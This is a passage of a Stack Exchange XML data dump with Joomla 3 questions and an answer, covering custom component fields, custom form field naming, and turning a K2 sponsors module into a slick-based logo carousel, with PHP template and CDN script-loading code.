  <row Id="24075" PostTypeId="1" CreationDate="2019-01-14T16:09:12.370" Score="2" ViewCount="195" Body="&lt;p&gt;I'm using Joomla 3.9.1 and &lt;a href=&quot;https://www.joomshaper.com/joomla-extensions/sp-simple-portfolio&quot; rel=&quot;nofollow noreferrer&quot;&gt;SP Simple Portfolio&lt;/a&gt; v1.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add some additional fields to the SP Simple Portfolio component. Image of current fields (taken from Google);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vr4lf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vr4lf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add another field named 'Year' for example beside 'URL'. Ideally I want to add a number of custom fields, but I can add the rest at a later date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found the file &lt;code&gt;administrator\components\com_spsimpleportfolio\models\forms\item.xml&lt;/code&gt;, and can add an additional input named 'Year'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also added a new &lt;code&gt;year&lt;/code&gt; column to the &lt;code&gt;spsimpleportfolio_items&lt;/code&gt; database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All appears to be working well, I can see my new field in the admin area and populate with data. This is saved into my database when I save the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the correct way of doing things? What if I ever update the component, will I lose these changes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2019-01-14T16:34:29.103" LastActivityDate="2020-06-08T01:02:30.357" Title="Adding Additional Fields to Admin Component" Tags="|joomla-3.x|component|custom-component|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24076" PostTypeId="1" CreationDate="2019-01-14T17:09:57.983" Score="0" ViewCount="238" Body="&lt;p&gt;I want to use a flexible field name for a field across different forms thru my extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom example field looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;&#xA;FormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldExample extends \JFormFieldList&#xA;{&#xA;&#xA;    public $type = 'Example';&#xA;    protected static $options = array();    &#xA;    protected function getOptions()&#xA;&#xA;    {&#xA;        // Accepted modifiers&#xA;        $hash = md5($this-&amp;gt;element);&#xA;&#xA;        if (!isset(static::$options[$hash]))&#xA;        {&#xA;            static::$options[$hash] = parent::getOptions();&#xA;&#xA;            $db = Factory::getDbo();&#xA;&#xA;            $options[] = JHTML::_('select.option', '1', JText::_('1'), 'value', 'text');&#xA;            $options[] = JHTML::_('select.option', '2', JText::_('2'), 'value', 'text');&#xA;        }&#xA;&#xA;        return static::$options[$hash];&#xA;    }&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using it inside a form xml like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset addfieldpath=&quot;/administrator/components/com_mycomp/models/fields&quot;&amp;gt;    &#xA;        &amp;lt;field name=&quot;example&quot; multiple=&quot;multiple&quot; type=&quot;example&quot; default=&quot;0&quot;  label=&quot;example&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it gets outputted like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('example'); ?&amp;gt;&#xA;&amp;lt;div class=&quot;form-controls&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('example');?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the name of the field that gets outputted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jform[example]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to use that field in different scenarios where field names like this should be possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jform[example]&#xA;jform[example][]&#xA;jform[table1][example][]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can this be accomplished? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if changing the XML to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;[table1][example]&quot; multiple=&quot;multiple&quot; type=&quot;example&quot; default=&quot;0&quot;  label=&quot;example&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jform[[table1][example]][]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2024-01-19T04:03:05.360" Title="Using a custom field with different names" Tags="|joomla-3.x|php|form|custom-field|xml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24077" PostTypeId="1" AcceptedAnswerId="24078" CreationDate="2019-01-14T17:48:43.770" Score="1" ViewCount="390" Body="&lt;p&gt;I am using a K2 Content module to display 'Sponsors' of an event. You can see an example &lt;a href=&quot;http://tbli.sitewidehosting.co.uk/conference?dev=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to set this up so that the columns can be scrolled manually using a mouse drag but ideally I would like this to be automatic i.e. Step through so that every x seconds the columns move one to the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be simple to do? I've hunted around looking at bootstrap horizontal scrolling but haven't found anything relevant. Ideally I'd like this to have a carousel effect (so when it gets to the last sponsor it automatically loads the first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page source code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;/**&#xA; * @version     $Id: default.php 1766 2012-11-22 14:10:24Z lefteris.kavadas $&#xA; * @package     K2&#xA; * @author      JoomlaWorks http://www.joomlaworks.net&#xA; * @copyright   Copyright (c) 2006 - 2012 JoomlaWorks Ltd. All rights reserved.&#xA; * @license     GNU/GPL license: http://www.gnu.org/copyleft/gpl.html&#xA; */&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;?php if ($params-&amp;gt;get('feed')): ?&amp;gt;&#xA;    &amp;lt;div class=&quot;k2FeedIcon&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_k2&amp;amp;view=itemlist&amp;amp;format=feed&amp;amp;moduleID=' . $module-&amp;gt;id); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&#xA;            &amp;lt;span&amp;gt;&amp;lt;?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;div id=&quot;k2ModuleBox&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&quot; &amp;gt;&#xA;&#xA;&amp;lt;?php if ($params-&amp;gt;get('itemPreText')): ?&amp;gt;&#xA;    &amp;lt;p class=&quot;modulePretext&quot;&amp;gt;&amp;lt;?php echo $params-&amp;gt;get('itemPreText'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (count($items)): ?&amp;gt;&#xA;    &amp;lt;?php foreach ($items as $key =&amp;gt; $item): ?&amp;gt;&#xA;    &amp;lt;article class=&quot;clearfix&quot;&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;           &amp;lt;?php if ($params-&amp;gt;get('itemTitle')): ?&amp;gt;&#xA;                &amp;lt;h2 class=&quot;title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;        &amp;lt;section class=&quot;content&quot;&amp;gt;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('itemImage') || $params-&amp;gt;get('itemIntroText')): ?&amp;gt;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('itemImage') &amp;amp;&amp;amp; isset($item-&amp;gt;image)): ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;img&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('K2_CONTINUE_READING'); ?&amp;gt; &amp;amp;quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($item-&amp;gt;title); ?&amp;gt;&amp;amp;quot;&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;&amp;lt;?php echo $item-&amp;gt;image; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($item-&amp;gt;title); ?&amp;gt;&quot;/&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('itemIntroText')): ?&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        &amp;lt;?php echo $item-&amp;gt;introtext; ?&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;        &amp;lt;section class=&quot;ft-wrp clearfix&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;container sponsors-scroll&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row flex-row flex-nowrap&quot;&amp;gt;&#xA;                &amp;lt;h4 class=&quot;rotate col-md-2&quot;&amp;gt;Sponsors&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('itemExtraFields') &amp;amp;&amp;amp; count($item-&amp;gt;extra_fields)): ?&amp;gt;&#xA;&#xA;                &amp;lt;?php $sponsors = array(); ?&amp;gt;&#xA;                &amp;lt;?php foreach ($item-&amp;gt;extra_fields as $key =&amp;gt; $fieldname): // regroup fields per level?&amp;gt; &#xA;                    &amp;lt;?php if($fieldname-&amp;gt;name === 'Url'):&#xA;                      $sponsors[$fieldname-&amp;gt;alias][$fieldname-&amp;gt;name] = $fieldname-&amp;gt;url;&#xA;                    else:&#xA;                      $sponsors[$fieldname-&amp;gt;alias][$fieldname-&amp;gt;name] = $fieldname-&amp;gt;value;&#xA;                    endif; ?&amp;gt;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;?php&#xA;                    // define sort order for $sponsors array&#xA;                    $sort_order = array('Location','Collaborating Partner','Platinum', 'Gold', 'Silver', 'Bronze','Carbon Neutrality', 'Booth', 'Cocktail', 'Badge', 'Event Partner', 'Media', 'Global', 'USA', 'Europe', 'Asia');&#xA;&#xA;                    // sort $sponsors based on sort order in $sort_order&#xA;                    usort($sponsors, function ($a, $b) use ($sort_order) {&#xA;                        return array_search($a['Level'], $sort_order) - array_search($b['Level'], $sort_order);&#xA;                    });&#xA;&#xA;                ?&amp;gt;&#xA;                &amp;lt;?php $i = 0; ?&amp;gt;&#xA;                &amp;lt;?php foreach ($sponsors as $key=&amp;gt;$value) : ?&amp;gt;&#xA;                 &amp;lt;?php &#xA;                     if($i%2 == 0) {&#xA;                        //echo $i &amp;gt; 0 ? &quot;&amp;lt;/div&amp;gt;&quot; : &quot;&quot;; // close div if it's not the first&#xA;                        //echo &quot;&amp;lt;div class='row-fluid'&amp;gt;&quot;;&#xA;                      }&#xA;&#xA;                    ;?&amp;gt;&#xA;                    &amp;lt;div class=&quot;col-xs-3&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;spons-well&quot;&amp;gt;&#xA;                            &amp;lt;h4&amp;gt;&amp;lt;small&amp;gt; &amp;lt;?php echo $value['Level'] ?&amp;gt; &amp;lt;/small&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php echo $value['Url'];?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;?php echo $value['Logo'] ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                   &amp;lt;?php $i++ ;?&amp;gt;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;   &#xA;              &amp;lt;?php endif; ?&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/section&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm really a novice when it comes to JS so if anyone has applied something like this before then your help would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-01-23T09:14:29.497" Title="Autoscroll a Bootstrap Row/Columns in Joomla Module" Tags="|joomla-3.x|jquery|bootstrap|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24078" PostTypeId="2" ParentId="24077" CreationDate="2019-01-14T18:43:15.930" Score="1" Body="&lt;p&gt;You should apply (if needed, customize for yourself) the &lt;strong&gt;html &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;&lt;/strong&gt; structure, and use the &lt;strong&gt;js,&lt;/strong&gt; and &lt;strong&gt;css&lt;/strong&gt; from the examples (links) below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://jsfiddle.net/solodev/huten0wq/?utm_source=website&amp;amp;utm_medium=embed&amp;amp;utm_campaign=huten0wq&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/solodev/huten0wq/?utm_source=website&amp;amp;utm_medium=embed&amp;amp;utm_campaign=huten0wq&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;actually this is a better, I think last updated, source of this carousel:&#xA;&lt;a href=&quot;https://github.com/solodev/infinite-carousel&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/solodev/infinite-carousel&lt;/a&gt; (it is better to copy the source codes from this github link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; For using the css, and js from the above link, you should just rename the &lt;code&gt;&amp;lt;section class=&quot;ft-wrp clearfix&quot;&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;section class=&quot;customer-logos&quot;&amp;gt;&lt;/code&gt;  and &lt;code&gt;&amp;lt;div class=&quot;spons-well&quot;&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;div class=&quot;slide&quot;&amp;gt;&lt;/code&gt; in your K2 layout in order to make it ready to work with the given css and javascript(jQuery), for example. Also you should wrap this carousel into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it is not a huge job to use these on your layout. Maybe a little fine tuning needed, checking, modifying or deleting redundant divs in your current html structure, you have to work on that a bit...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; The css from the link should be copied in your theme css, or custom.css file of your template and the jQuery(js) code should be copied within &lt;code&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; tags at the bottom of your layout php file which you copied here, after the last closing html &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; tag (you could load these from external &lt;strong&gt;js&lt;/strong&gt; file but now it is enough if you just include that in your layout)(the &lt;strong&gt;css&lt;/strong&gt; could also be loaded from separate .css file but you can do that later. However, as later got clear, it is very important, that the &lt;strong&gt;carousel.css&lt;/strong&gt; style has to loaded before the &lt;strong&gt;jQuery script&lt;/strong&gt; starts to run on your site! Otherwise the carousel will look messed up a lot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; You have to make sure you load the 2 javascript/jQuery library in your HTML head or before your closing html body tag (if it's not there on your site yet): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jQuery min&lt;/strong&gt; and &lt;strong&gt;slick js&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can just simply copy and paste it in the &lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt; of your page from here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;script src=&quot;https://code.jquery.com/jquery-2.2.4.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.6.0/slick.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;!-- Latest compiled and minified CSS --&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css&quot;&amp;gt;&#xA;&#xA;    &amp;lt;!-- Optional theme --&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css&quot;&amp;gt;&#xA;&#xA;    &amp;lt;!-- Latest compiled and minified JavaScript --&amp;gt;&#xA;    &amp;lt;script src=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or in a more Joomla standard way, you paste this code below to the top of your K2 layout file to load the required js libraries like the following (after the line: &lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt;) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScript('https://code.jquery.com/jquery-2.2.4.min.js'); // comment out this line if it's already loaded on your site.&#xA;$document-&amp;gt;addScript('https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.6.0/slick.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(As I see, Bootstrap is already loaded on your site so it's better if you do not load that again. If the jQuery library also loaded already, then you should just &lt;code&gt;// comment out&lt;/code&gt; the jQuery library loading from the above code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;And it's actually done.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just for fun I now tested the above with dummy content (from arrays with few of your logos) in your given PHP/HTML layout code (modified a bit), then I can confirm that it works. Here is the result, recorded in gif on my test page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kLEli.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kLEli.gif&quot; width=&quot;500&quot; title=&quot;Click to enlarge.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional things:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason I do not paste here your layout code edited, fully working with the above carousel, because I would like to let you to do that, understanding and following the above steps. That is the only way you will learn to use additional javascripts and css and it’s important for you to improve your skills with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more info about using the above is here:&#xA;&lt;a href=&quot;https://www.solodev.com/blog/web-design/adding-an-infinite-client-logo-carousel-to-your-website.stml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.solodev.com/blog/web-design/adding-an-infinite-client-logo-carousel-to-your-website.stml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above carousel is working fine but if you need more exapmle, another code which you can check out and 'borrow':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://codepen.io/mdashikar/pen/VWPvgE&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codepen.io/mdashikar/pen/VWPvgE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it's made already even with Bootstrap 4 :&#xA;&lt;a href=&quot;https://bootsnipp.com/snippets/featured/client-or-partners-logo-slider&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bootsnipp.com/snippets/featured/client-or-partners-logo-slider&lt;/a&gt; (however I do not see any bootstrap in this (except the ‘container’) but it does not matter, this is just another version of the above, almost the same all of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of versions of these ready to use carousels of this kind on the net. I hope the above can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you started to work on this and you now got stuck with the html divs, I copy here your edited K2 layout file and you can try this or use this in your layout. I of course did not tried this particular file since I do not have the required and called variables in it, but this is how your layout should look like. Check how the divs are restructured in the &lt;strong&gt;- sponsors carousel section -&lt;/strong&gt; of the layout.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @version     $Id: default.php 1766 2012-11-22 14:10:24Z lefteris.kavadas $&#xA; * @package     K2&#xA; * @author      JoomlaWorks http://www.joomlaworks.net&#xA; * @copyright   Copyright (c) 2006 - 2012 JoomlaWorks Ltd. All rights reserved.&#xA; * @license     GNU/GPL license: http://www.gnu.org/copyleft/gpl.html&#xA; */&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;$document = JFactory::getDocument();&#xA;// $document-&amp;gt;addScript('https://code.jquery.com/jquery-2.2.4.min.js'); // jQuery already loaded on the page&#xA;$document-&amp;gt;addScript('https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.6.0/slick.js');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ($params-&amp;gt;get('feed')): ?&amp;gt;&#xA;    &amp;lt;div class=&quot;k2FeedIcon&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_k2&amp;amp;view=itemlist&amp;amp;format=feed&amp;amp;moduleID=' . $module-&amp;gt;id); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&#xA;            &amp;lt;span&amp;gt;&amp;lt;?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;div id=&quot;k2ModuleBox&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&quot; &amp;gt;&#xA;&#xA;&amp;lt;?php if ($params-&amp;gt;get('itemPreText')): ?&amp;gt;&#xA;    &amp;lt;p class=&quot;modulePretext&quot;&amp;gt;&amp;lt;?php echo $params-&amp;gt;get('itemPreText'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (count($items)): ?&amp;gt;&#xA;    &amp;lt;?php foreach ($items as $key =&amp;gt; $item): ?&amp;gt;&#xA;    &amp;lt;article class=&quot;clearfix&quot;&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;           &amp;lt;?php if ($params-&amp;gt;get('itemTitle')): ?&amp;gt;&#xA;                &amp;lt;h2 class=&quot;title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;        &amp;lt;section class=&quot;content&quot;&amp;gt;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('itemImage') || $params-&amp;gt;get('itemIntroText')): ?&amp;gt;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('itemImage') &amp;amp;&amp;amp; isset($item-&amp;gt;image)): ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;img&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('K2_CONTINUE_READING'); ?&amp;gt; &amp;amp;quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($item-&amp;gt;title); ?&amp;gt;&amp;amp;quot;&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;&amp;lt;?php echo $item-&amp;gt;image; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($item-&amp;gt;title); ?&amp;gt;&quot;/&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('itemIntroText')): ?&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        &amp;lt;?php echo $item-&amp;gt;introtext; ?&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;&#xA;        // here your sponsors carousel section starts --&amp;gt;&#xA;&#xA;        ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('itemExtraFields') &amp;amp;&amp;amp; count($item-&amp;gt;extra_fields)): ?&amp;gt;&#xA;&#xA;                &amp;lt;?php $sponsors = array(); ?&amp;gt;&#xA;                &amp;lt;?php foreach ($item-&amp;gt;extra_fields as $key =&amp;gt; $fieldname): // regroup fields per level?&amp;gt;&#xA;                    &amp;lt;?php if($fieldname-&amp;gt;name === 'Url'):&#xA;                      $sponsors[$fieldname-&amp;gt;alias][$fieldname-&amp;gt;name] = $fieldname-&amp;gt;url;&#xA;                    else:&#xA;                      $sponsors[$fieldname-&amp;gt;alias][$fieldname-&amp;gt;name] = $fieldname-&amp;gt;value;&#xA;                    endif; ?&amp;gt;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;?php&#xA;                    // define sort order for $sponsors array&#xA;                    $sort_order = array('Location','Collaborating Partner','Platinum', 'Gold', 'Silver', 'Bronze','Carbon Neutrality', 'Booth', 'Cocktail', 'Badge', 'Event Partner', 'Media', 'Global', 'USA', 'Europe', 'Asia');&#xA;&#xA;                    // sort $sponsors based on sort order in $sort_order&#xA;                    usort($sponsors, function ($a, $b) use ($sort_order) {&#xA;                        return array_search($a['Level'], $sort_order) - array_search($b['Level'], $sort_order);&#xA;                    });                    &#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                        &amp;lt;section class=&quot;customer-logos&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;h4 class=&quot;rotate col-md-2&quot;&amp;gt;Sponsors&amp;lt;/h4&amp;gt;&#xA;&#xA;                &amp;lt;?php foreach ($sponsors as $key=&amp;gt;$value) : ?&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;slide&quot;&amp;gt;&#xA;                            &amp;lt;h4&amp;gt;&amp;lt;small&amp;gt; &amp;lt;?php echo $value['Level'] ?&amp;gt; &amp;lt;/small&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php echo $value['Url'];?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;?php echo $value['Logo'] ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        